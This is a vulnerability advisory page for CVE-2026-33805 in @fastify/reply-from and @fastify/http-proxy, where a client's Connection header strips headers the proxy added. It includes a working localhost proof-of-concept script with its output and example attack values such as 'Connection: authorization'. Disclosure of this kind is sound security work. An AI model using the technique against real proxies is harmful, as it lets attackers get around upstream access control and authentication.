9.0critical
@fastify/reply-from vulnerable to connection header abuse enabling stripping of proxy-added headers
- Severity
- 9.0critical CVSS:4.0 by openjs
- Exploit likelihood
- 0.46% (higher than 41% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- openjs
- Also known as
- GHSA-gwhp-pf74-vj37
Description
@fastify/reply-from v12.6.1 and earlier and @fastify/http-proxy v11.4.3 and earlier process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers from upstream requests by listing them in the Connection header value. Any header added by the proxy for routing, access control, or security purposes can be selectively removed by a client. @fastify/http-proxy is also affected as it delegates to @fastify/reply-from. Upgrade to @fastify/reply-from v12.6.2 or @fastify/http-proxy v11.4.4 or later.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| @fastify/reply-from @fastify/reply-from | before 12.6.2 Not affected: 12.6.2 | CVE List |
| @fastify/reply-from @fastify/http-proxy | before 11.4.4 Not affected: 11.4.4 | CVE List |
| devspaces/dashboard-rhel9 | Not specified Not affected: from 1776795511 before * | CVE List |
| rhoai/odh-dashboard-rhel8 | Not specified | CVE List |
| rhoai/odh-dashboard-rhel9 | Not specified | CVE List |
| rhoai/odh-mod-arch-gen-ai-rhel9 | Not specified | CVE List |
| rhoai/odh-mod-arch-maas-rhel9 | Not specified | CVE List |
| rhoai/odh-mod-arch-model-registry-rhel9 | Not specified | CVE List |
| @fastify/reply-from (npm) | before 12.6.2 | GitHub Advisory Database |
| @fastify/http-proxy (npm) | before 11.4.4 | GitHub Advisory Database |
| fastify fastify/http-proxy | before 11.4.4 | NVD |
| fastify reply-from | before 12.6.2 | NVD |
All scores
| openjs | 9.0critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N |
| redhat-SADP | 7.4high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
| GitHub | 8.6critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N |
| GitHub | critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N |
| NVD | 8.6high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N |
Classification
What each source says
CVE List
@fastify/reply-from v12.6.1 and earlier and @fastify/http-proxy v11.4.3 and earlier process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers from upstream requests by listing them in the Connection header value. Any header added by the proxy for routing, access control, or security purposes can be selectively removed by a client. @fastify/http-proxy is also affected as it delegates to @fastify/reply-from. Upgrade to @fastify/reply-from v12.6.2 or @fastify/http-proxy v11.4.4 or later.
GitHub Advisory Database
Summary
@fastify/reply-from and @fastify/http-proxy process the client's Connection header after the proxy has added its own headers via rewriteRequestHeaders. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the Connection header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.
Details
The vulnerability exists in @fastify/reply-from/lib/request.js at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:
- Client headers are copied including the
connectionheader (@fastify/reply-from/index.jsline 91) - The proxy adds custom headers via
rewriteRequestHeaders(line 151) - During request construction, the transport handlers read the client's
Connectionheader and strip any headers listed in it - This stripping happens after
rewriteRequestHeaders, allowing clients to target proxy-added headers for removal
RFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.
The call chain:
@fastify/reply-from/index.jsline 91:headers = { ...req.headers }— copies ALL client headers includingconnectionindex.jsline 151:requestHeaders = rewriteRequestHeaders(this.request, headers)— proxy adds custom headers (e.g.,x-forwarded-by)index.jsline 180:requestImpl({...headers: requestHeaders...})— passes headers to transportrequest.jsline 191 (undici):getConnectionHeaders(req.headers)— reads Connection header FROM THE CLIENTrequest.jslines 198-200: Strips headers listed in Connection — including proxy-added headers
This is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's rewriteRequestHeaders function.
PoC
Self-contained reproduction with an upstream echo service and a proxy that adds a custom header:
const fastify = require('fastify');
async function test() {
// Upstream service that echoes headers
const upstream = fastify({ logger: false });
upstream.get('/api/echo-headers', async (request) => {
return { headers: request.headers };
});
await upstream.listen({ port: 19801 });
// Proxy that adds a custom header via rewriteRequestHeaders
const proxy = fastify({ logger: false });
await proxy.register(require('@fastify/reply-from'), {
base: 'http://localhost:19801'
});
proxy.get('/proxy/*', async (request, reply) => {
const target = '/' + (request.params['*'] || '');
return reply.from(target, {
rewriteRequestHeaders: (originalReq, headers) => {
return { ...headers, 'x-forwarded-by': 'fastify-proxy' };
}
});
});
await proxy.listen({ port: 19800 });
// Baseline: proxy adds x-forwarded-by header
const res1 = await proxy.inject({
method: 'GET',
url: '/proxy/api/echo-headers'
});
console.log('Baseline response headers from upstream:');
const body1 = JSON.parse(res1.body);
console.log(' x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');
// Attack: Connection header strips the proxy-added header
const res2 = await proxy.inject({
method: 'GET',
url: '/proxy/api/echo-headers',
headers: { 'connection': 'x-forwarded-by' }
});
console.log('\nAttack response headers from upstream:');
const body2 = JSON.parse(res2.body);
console.log(' x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');
await proxy.close();
await upstream.close();
}
test();
Actual output:
Baseline response headers from upstream:
x-forwarded-by: fastify-proxy
Attack response headers from upstream:
x-forwarded-by: NOT PRESENT (stripped!)
The x-forwarded-by header that the proxy explicitly added in rewriteRequestHeaders is stripped before reaching the upstream.
Multiple headers can be stripped at once by sending Connection: x-forwarded-by, x-forwarded-for.
Both the undici (default) and HTTP/1.1 transport handlers in @fastify/reply-from are affected, as well as @fastify/http-proxy which delegates to @fastify/reply-from.
Impact
Attackers can selectively remove any header added by the proxy's rewriteRequestHeaders function. This enables several attack scenarios:
- Bypass proxy identification: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests
- Circumvent access control: If the proxy adds headers used for routing, authorization, or security decisions (e.g.,
x-internal-auth,x-proxy-token), attackers can strip them to access unauthorized resources - Remove arbitrary headers: Any header can be targeted, including
Connection: authorizationto strip authentication orConnection: x-forwarded-for, x-forwarded-byto remove multiple headers at once
This vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals.
Affected Versions
@fastify/reply-from— All versions, both undici (default) and HTTP/1.1 transport handlers@fastify/http-proxy— All versions (delegates to@fastify/reply-from)- Any configuration using
rewriteRequestHeadersto add headers that could be security-relevant - No special configuration required to exploit — works with default settings
Suggested Fix
The Connection header from the client should be processed and consumed before rewriteRequestHeaders is called, not after. Alternatively, the Connection header processing in request.js should maintain a list of headers that existed in the original client request and only strip those, not headers added by rewriteRequestHeaders.
NVD (es)
@fastify/reply-from v12.6.1 y anteriores y @fastify/http-proxy v11.4.3 y anteriores procesan el encabezado Connection del cliente después de que el proxy ha añadido sus propios encabezados a través de rewriteRequestHeaders. Esto permite a los atacantes eliminar retroactivamente los encabezados añadidos por el proxy de las solicitudes ascendentes al listarlos en el valor del encabezado Connection. Cualquier encabezado añadido por el proxy para fines de enrutamiento, control de acceso o seguridad puede ser eliminado selectivamente por un cliente. @fastify/http-proxy también se ve afectado ya que delega en @fastify/reply-from. Actualice a @fastify/reply-from v12.6.2 o @fastify/http-proxy v11.4.4 o posterior.
References
| https://github.com/fastify/fastify-reply-from/security/advisories/GHSA-gwhp-pf74-vj37 | exploit, mitigation, vendor-advisory, web | |
| https://cna.openjsf.org/security-advisories.html | vendor-advisory, web | |
| https://access.redhat.com/security/cve/CVE-2026-33805 | vdb-entry | |
| https://bugzilla.redhat.com/show_bug.cgi?id=2458651 | issue-tracking | |
| https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33805.json | ||
| https://access.redhat.com/errata/RHSA-2026:10175 | vendor-advisory | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-33805 | advisory | |
| https://github.com/fastify/fastify-reply-from | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-33805 changed 2026-07-15 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-gwhp-pf74-vj37 changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2026-33805 changed 2026-10-26 | Public domain |